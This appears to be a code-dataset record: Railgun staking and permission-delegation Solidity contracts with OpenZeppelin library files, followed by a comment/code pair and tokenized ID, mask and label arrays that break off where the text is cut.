import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @title Snapshot
* @author Railgun Contributors
* @notice Governance contract for railgun, handles staking, voting power, and snapshotting
* @dev Snapshots cannot be taken during interval 0
* wait till interval 1 before utilising snapshots
*/
contract Staking {
using SafeERC20 for IERC20;
// Constants
uint256 public constant STAKE_LOCKTIME = 30 days;
uint256 public constant SNAPSHOT_INTERVAL = 1 days;
// Staking token
IERC20 public stakingToken;
// Time of deployment
// solhint-disable-next-line var-name-mixedcase
uint256 public immutable DEPLOY_TIME = block.timestamp;
// New stake screated
event Stake(address indexed account, uint256 indexed stakeID, uint256 amount);
// Stake unlocked (coins removed from voting pool, 30 day delay before claiming is allowed)
event Unlock(address indexed account, uint256 indexed stakeID);
// Stake claimed
event Claim(address indexed account, uint256 indexed stakeID);
// Delegate claimed
event Delegate(address indexed owner, address indexed _from, address indexed to, uint256 stakeID, uint256 amount);
// Total staked
uint256 public totalStaked = 0;
// Snapshots for globals
struct GlobalsSnapshot {
uint256 interval;
uint256 totalVotingPower;
uint256 totalStaked;
}
GlobalsSnapshot[] private globalsSnapshots;
// Stake
struct StakeStruct {
address delegate; // Address stake voting power is delegated to
uint256 amount; // Amount of tokens on this stake
uint256 staketime; // Time this stake was created
uint256 locktime; // Time this stake can be claimed (if 0, unlock hasn't been initiated)
uint256 claimedTime; // Time this stake was claimed (if 0, stake hasn't been claimed)
}
// Stake mapping
// address => stakeID => stake
mapping(address => StakeStruct[]) public stakes;
// Voting power for each account
mapping(address => uint256) public votingPower;
// Snapshots for accounts
struct AccountSnapshot {
uint256 interval;
uint256 votingPower;
}
mapping(address => AccountSnapshot[]) private accountSnapshots;
/**
* @notice Sets staking token
* @param _stakingToken - time to get interval of
*/
constructor(IERC20 _stakingToken) {
stakingToken = _stakingToken;
// Use address 0 to store inverted totalVotingPower
votingPower[address(0)] = type(uint256).max;
}
/**
* @notice Gets total voting power in system
* @return totalVotingPower
*/
function totalVotingPower() public view returns (uint256) {
return ~votingPower[address(0)];
}
/**
* @notice Gets length of stakes array for address
* @param _account - address to retrieve stakes array of
* @return length
*/
function stakesLength(address _account) external view returns (uint256) {
return stakes[_account].length;
}
/**
* @notice Gets interval at time
* @param _time - time to get interval of
* @return interval
*/
function intervalAtTime(uint256 _time) public view returns (uint256) {
require(_time >= DEPLOY_TIME, "Staking: Requested time is before contract was deployed");
return (_time - DEPLOY_TIME) / SNAPSHOT_INTERVAL;
}
/**
* @notice Gets current interval
* @return interval
*/
function currentInterval() public view returns (uint256) {
return intervalAtTime(block.timestamp);
}
/**
* @notice Returns interval of latest global snapshot
* @return Latest global snapshot interval
*/
function latestGlobalsSnapshotInterval() public view returns (uint256) {
if (globalsSnapshots.length > 0) {
// If a snapshot exists return the interval it was taken
return globalsSnapshots[globalsSnapshots.length - 1].interval;
} else {
// Else default to 0
return 0;
}
}
/**
* @notice Returns interval of latest account snapshot
* @param _account - account to get latest snapshot of
* @return Latest account snapshot interval
*/
function latestAccountSnapshotInterval(address _account) public view returns (uint256) {
if (accountSnapshots[_account].length > 0) {
// If a snapshot exists return the interval it was taken
return accountSnapshots[_account][accountSnapshots[_account].length - 1].interval;
} else {
// Else default to 0
return 0;
}
}
/**
* @notice Returns length of snapshot array
* @param _account - account to get snapshot array length of
* @return Snapshot array length
*/
function accountSnapshotLength(address _account) external view returns (uint256) {
return accountSnapshots[_account].length;
}
/**
* @notice Returns length of snapshot array
* @return Snapshot array length
*/
function globalsSnapshotLength() external view returns (uint256) {
return globalsSnapshots.length;
}
/**
* @notice Returns global snapshot at index
* @param _index - account to get latest snapshot of
* @return Globals snapshot
*/
function globalsSnapshot(uint256 _index) external view returns (GlobalsSnapshot memory) {
return globalsSnapshots[_index];
}
/**
* @notice Returns account snapshot at index
* @param _account - account to get snapshot of
* @param _index - index to get snapshot at
* @return Account snapshot
*/
function accountSnapshot(address _account, uint256 _index) external view returns (AccountSnapshot memory) {
return accountSnapshots[_account][_index];
}
/**
* @notice Checks if accoutn and globals snapshots need updating and updates
* @param _account - Account to take snapshot for
*/
function snapshot(address _account) internal {
uint256 _currentInterval = currentInterval();
// If latest global snapshot is less than current interval, push new snapshot
if(latestGlobalsSnapshotInterval() < _currentInterval) {
globalsSnapshots.push(GlobalsSnapshot(
_currentInterval,
totalVotingPower(),
totalStaked
));
}
// If latest account snapshot is less than current interval, push new snapshot
// Skip if account is 0 address
if(_account != address(0) && latestAccountSnapshotInterval(_account) < _currentInterval) {
accountSnapshots[_account].push(AccountSnapshot(
_currentInterval,
votingPower[_account]
));
}
}
/**
* @notice Moves voting power in response to delegation or stake/unstake
* @param _from - account to move voting power fom
* @param _to - account to move voting power to
* @param _amount - amount of voting power to move
*/
function moveVotingPower(address _from, address _to, uint256 _amount) internal {
votingPower[_from] -= _amount;
votingPower[_to] += _amount;
}
/**
* @notice Updates vote delegation
* @param _stakeID - stake to delegate
* @param _to - address to delegate to
*/
function delegate(uint256 _stakeID, address _to) public {
StakeStruct storage _stake = stakes[msg.sender][_stakeID];
require(
_stake.staketime != 0,
"Staking: Stake doesn't exist"
);
require(
_stake.locktime == 0,
"Staking: Stake unlocked"
);
require(
_to != address(0),
"Staking: Can't delegate to 0 address"
);
if (_stake.delegate != _to) {
// Check if snapshot needs to be taken
snapshot(_stake.delegate); // From
snapshot(_to); // To
// Move voting power to delegatee
moveVotingPower(
_stake.delegate,
_to,
_stake.amount
);
// Emit event
emit Delegate(msg.sender, _stake.delegate, _to, _stakeID, _stake.amount);
// Update delegation
_stake.delegate = _to;
}
}
/**
* @notice Delegates voting power of stake back to self
* @param _stakeID - stake to delegate back to self
*/
function undelegate(uint256 _stakeID) external {
delegate(_stakeID, msg.sender);
}
/**
* @notice Gets global state at interval
* @param _interval - interval to get state at
* @return state
*/
function globalsSnapshotAtSearch(uint256 _interval) internal view returns (GlobalsSnapshot memory) {
require(_interval <= currentInterval(), "Staking: Interval out of bounds");
// Index of element
uint256 index;
// High/low for binary serach to find index
// https://en.wikipedia.org/wiki/Binary_search_algorithm
uint256 low = 0;
uint256 high = globalsSnapshots.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (globalsSnapshots[mid].interval > _interval) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. Find the inclusive upper bounds and set to index
if (low > 0 && globalsSnapshots[low - 1].interval == _interval) {
return globalsSnapshots[low - 1];
} else {
index = low;
}
// If index is equal to snapshot array length, then no update was made after the requested
// snapshot interval. This means the latest value is the right one.
if (index == globalsSnapshots.length) {
return GlobalsSnapshot(
_interval,
totalVotingPower(),
totalStaked
);
} else {
return globalsSnapshots[index];
}
}
/**
* @notice Gets global state at interval
* @param _interval - interval to get state at
* @param _hint - off-chain computed index of interval
* @return state
*/
function globalsSnapshotAt(uint256 _interval, uint256 _hint) external view returns (GlobalsSnapshot memory) {
require(_interval <= currentInterval(), "Staking: Interval out of bounds");
// Check if hint is correct, else fall back to binary search
if (
_hint <= globalsSnapshots.length
&& (_hint == 0 || globalsSnapshots[_hint - 1].interval < _interval)
&& (_hint == globalsSnapshots.length || globalsSnapshots[_hint].interval >= _interval)
) {
// The hint is correct
if (_hint < globalsSnapshots.length)
return globalsSnapshots[_hint];
else
return GlobalsSnapshot (_interval, totalVotingPower(), totalStaked);
} else return globalsSnapshotAtSearch (_interval);
}
/**
* @notice Gets account state at interval
* @param _account - account to get state for
* @param _interval - interval to get state at
* @return state
*/
function accountSnapshotAtSearch(address _account, uint256 _interval) internal view returns (AccountSnapshot memory) {
require(_interval <= currentInterval(), "Staking: Interval out of bounds");
// Get account snapshots array
AccountSnapshot[] storage snapshots = accountSnapshots[_account];
// Index of element
uint256 index;
// High/low for binary serach to find index
// https://en.wikipedia.org/wiki/Binary_search_algorithm
uint256 low = 0;
uint256 high = snapshots.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (snapshots[mid].interval > _interval) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. Find the inclusive upper bounds and set to index
if (low > 0 && snapshots[low - 1].interval == _interval) {
return snapshots[low - 1];
} else {
index = low;
}
// If index is equal to snapshot array length, then no update was made after the requested
// snapshot interval. This means the latest value is the right one.
if (index == snapshots.length) {
return AccountSnapshot(
_interval,
votingPower[_account]
);
} else {
return snapshots[index];
}
}
/**
* @notice Gets account state at interval
* @param _account - account to get state for
* @param _interval - interval to get state at
* @param _hint - off-chain computed index of interval
* @return state
*/
function accountSnapshotAt(address _account, uint256 _interval, uint256 _hint) external view returns (AccountSnapshot memory) {
require(_interval <= currentInterval(), "Staking: Interval out of bounds");
// Get account snapshots array
AccountSnapshot[] storage snapshots = accountSnapshots[_account];
// Check if hint is correct, else fall back to binary search
if (
_hint <= snapshots.length
&& (_hint == 0 || snapshots[_hint - 1].interval < _interval)
&& (_hint == snapshots.length || snapshots[_hint].interval >= _interval)
) {
// The hint is correct
if (_hint < snapshots.length)
return snapshots[_hint];
else
return AccountSnapshot(_interval, votingPower[_account]);
} else return accountSnapshotAtSearch(_account, _interval);
}
/**
* @notice Stake tokens
* @dev This contract should be approve()'d for _amount
* @param _amount - Amount to stake
* @return stake ID
*/
function stake(uint256 _amount) public returns (uint256) {
// Check if amount is not 0
require(_amount > 0, "Staking: Amount not set");
// Check if snapshot needs to be taken
snapshot(msg.sender);
// Get stakeID
uint256 stakeID = stakes[msg.sender].length;
// Set stake values
stakes[msg.sender].push(StakeStruct(
msg.sender,
_amount,
block.timestamp,
0,
0
));
// Increment global staked
totalStaked += _amount;
// Add voting power
moveVotingPower(
address(0),
msg.sender,
_amount
);
// Transfer tokens
stakingToken.safeTransferFrom(msg.sender, address(this), _amount);
// Emit event
emit Stake(msg.sender, stakeID, _amount);
return stakeID;
}
/**
* @notice Unlock stake tokens
* @param _stakeID - Stake to unlock
*/
function unlock(uint256 _stakeID) public {
require(
stakes[msg.sender][_stakeID].staketime != 0,
"Staking: Stake doesn't exist"
);
require(
stakes[msg.sender][_stakeID].locktime == 0,
"Staking: Stake already unlocked"
);
// Check if snapshot needs to be taken
snapshot(msg.sender);
// Set stake locktime
stakes[msg.sender][_stakeID].locktime = block.timestamp + STAKE_LOCKTIME;
// Remove voting power
moveVotingPower(
stakes[msg.sender][_stakeID].delegate,
address(0),
stakes[msg.sender][_stakeID].amount
);
// Emit event
emit Unlock(msg.sender, _stakeID);
}
/**
* @notice Claim stake token
* @param _stakeID - Stake to claim
*/
function claim(uint256 _stakeID) public {
require(
stakes[msg.sender][_stakeID].locktime != 0
&& stakes[msg.sender][_stakeID].locktime < block.timestamp,
"Staking: Stake not unlocked"
);
require(
stakes[msg.sender][_stakeID].claimedTime == 0,
"Staking: Stake already claimed"
);
// Check if snapshot needs to be taken
snapshot(msg.sender);
// Set stake claimed time
stakes[msg.sender][_stakeID].claimedTime = block.timestamp;
// Decrement global staked
totalStaked -= stakes[msg.sender][_stakeID].amount;
// Transfer tokens
stakingToken.safeTransfer(
msg.sender,
stakes[msg.sender][_stakeID].amount
);
// Emit event
emit Claim(msg.sender, _stakeID);
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma abicoder v2;
// OpenZeppelin v4
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Delegator
* @author Railgun Contributors
* @notice 'Owner' contract for all railgun contracts
* delegates permissions to other contracts (voter, role)
*/
contract Delegator is Ownable {
/*
Mapping structure is calling address => contract => function signature
0 is used as a wildcard, so permission for contract 0 is permission for
any contract, and permission for function signature 0 is permission for
any function.
Comments below use * to signify wildcard and . notation to seperate address/contract/function.
caller.*.* allows caller to call any function on any contract
caller.X.* allows caller to call any function on contract X
caller.*.Y allows caller to call function Y on any contract
*/
mapping(
address => mapping(
address => mapping(bytes4 => bool)
)
) public permissions;
event GrantPermission(address indexed caller, address indexed contractAddress, bytes4 indexed selector);
event RevokePermission(address indexed caller, address indexed contractAddress, bytes4 indexed selector);
/**
* @notice Sets initial admin
*/
constructor(address _admin) {
Ownable.transferOwnership(_admin);
}
/**
* @notice Sets permission bit
* @dev See comment on permissions mapping for wildcard format
* @param _caller - caller to set permissions for
* @param _contract - contract to set permissions for
* @param _selector - selector to set permissions for
* @param _permission - permission bit to set
*/
function setPermission(
address _caller,
address _contract,
bytes4 _selector,
bool _permission
) public onlyOwner {
// If permission set is different to new permission then we execute, otherwise skip
if (permissions[_caller][_contract][_selector] != _permission) {
// Set permission bit
permissions[_caller][_contract][_selector] = _permission;
// Emit event
if (_permission) {
emit GrantPermission(_caller, _contract, _selector);
} else {
emit RevokePermission(_caller, _contract, _selector);
}
}
}
/**
* @notice Checks if caller has permission to execute function
* @param _caller - caller to check permissions for
* @param _contract - contract to check
* @param _selector - function signature to check
* @return if caller has permission
*/
function checkPermission(address _caller, address _contract, bytes4 _selector) public view returns (bool) {
/*
See comment on permissions mapping for structure
Comments below use * to signify wildcard and . notation to seperate contract/function
*/
return (
_caller == Ownable.owner()
|| permissions[_caller][_contract][_selector] // Owner always has global permissions
|| permissions[_caller][_contract][0x0] // Permission for function is given
|| permissions[_caller][address(0)][_selector] // Permission for _contract.* is given
|| permissions[_caller][address(0)][0x0] // Global permission is given
);
}
/**
* @notice Calls function
* @dev calls to functions on this contract are intercepted and run directly
* this is so the voting contract doesn't need to have special cases for calling
* functions other than this one.
* @param _contract - contract to call
* @param _data - calldata to pass to contract
* @return success - whether call succeeded
* @return returnData - return data from function call
*/
function callContract(address _contract, bytes calldata _data, uint256 _value) public returns (bool success, bytes memory returnData) {
// Get selector
bytes4 selector = bytes4(_data);
// Intercept calls to this contract
if (_contract == address(this)) {
if (selector == this.setPermission.selector) {
// Decode call data
(
address caller,
address calledContract,
bytes4 _permissionSelector,
bool permission
) = abi.decode(abi.encodePacked(_data[4:]), (address, address, bytes4, bool));
// Call setPermission
setPermission(caller, calledContract, _permissionSelector, permission);
// Return success with empty returndata bytes
bytes memory empty;
return (true, empty);
} else if (selector == this.transferOwnership.selector) {
// Decode call data
(
address newOwner
) = abi.decode(abi.encodePacked(_data[4:]), (address));
// Call transferOwnership
Ownable.transferOwnership(newOwner);
// Return success with empty returndata bytes
bytes memory empty;
return (true, empty);
} else if (selector == this.renounceOwnership.selector) {
// Call renounceOwnership
Ownable.renounceOwnership();
// Return success with empty returndata bytes
bytes memory empty;
return (true, empty);
} else {
// Return failed with empty returndata bytes
bytes memory empty;
return (false, empty);
}
}
// Check permissions
require(checkPermission(msg.sender, _contract, selector), "Delegator: Caller doesn't have permission");
// Call external contract and return
// solhint-disable-next-line avoid-low-level-calls
return _contract.call{value: _value}(_data);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
| Time this stake was created
| uint256 staketime; | 1,612,794 | [
1,
950,
333,
384,
911,
1703,
2522,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
384,
581,
2374,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
